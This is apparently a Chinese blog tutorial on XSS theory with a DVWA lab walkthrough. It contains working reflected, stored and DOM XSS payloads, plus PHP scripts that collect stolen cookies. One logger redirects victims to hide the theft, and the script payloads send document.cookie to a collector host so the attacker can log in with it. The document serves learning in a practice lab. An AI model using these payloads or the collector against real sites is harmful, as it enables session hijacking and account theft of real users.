XSS漏洞基础知识详解和DVWA的XSS练习
目录
跨站脚本(Cross-Site Scripting, 简称为xss或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入页面, 其他用户在游览网页时就会受到影响。恶意用户利用XSS代码攻击成功后, 可能曾到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
最简单的XSS攻击分为三种:反射型、 存储型、 DOM型
XSS漏洞原理
1.反射型XSS
反射型XSS又称非持久型XSS, 这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的游览器,游览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2.存储型XSS
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐藏性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户游览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的游览器中得到执行。
<script>alert (/hacker by hacker/)</script>
当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。
3.DOM型XSS
DOM全称document objict model ,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,他是属于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构--节点树。通过HTML DOM, 树中的所有节点均可通过Java Script 进行访问。 所有HTML元素(节点)均可被修改, 也可以创建或删除节点。HTML DOM树结构
在网站页面中有许多元素,当页面到达游览器时,游览器会为页面创建一个顶级的Document object文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端的交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的游览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
接下来用DVWA的XSS环境实践讲解一下!
反射型xss
第一步:首先利用alert测试是否存在XSS
http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>alert("1"); </script>#
出现弹窗,说明存在XSS。
第二步:编写php文档获取页面cookie、编写js代码将页面的cookie发送到cookie.php
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
http://localhost/DVWA/vulnerabilities/xss_r/
?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script>
记得要将<script>代码段进行url编码
成功拿到cookie,利用cookie登陆DVWA的首页!
存储型
第一步:首先测试是否存在XSS漏洞。
因为有弹窗所以存在XSS漏洞,而且是存储型的。
这时候还是写一个脚本去获取cookie。
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer:
".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>
发现有长度限制,那就修改它!
接下来就是获取cookie。
</pre><script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>
利用cookie登陆就好了!
DOM型
首先测试是否存在XSS漏洞。
弹出弹窗,说明有XSS漏洞。分析得出,可以直接往default参数注入XSS payload
<script>alert(document.cookie)</script>
来源:CSDN
作者:zero-彬
链接:https://blog.csdn.net/weixin_43355264/article/details/103482477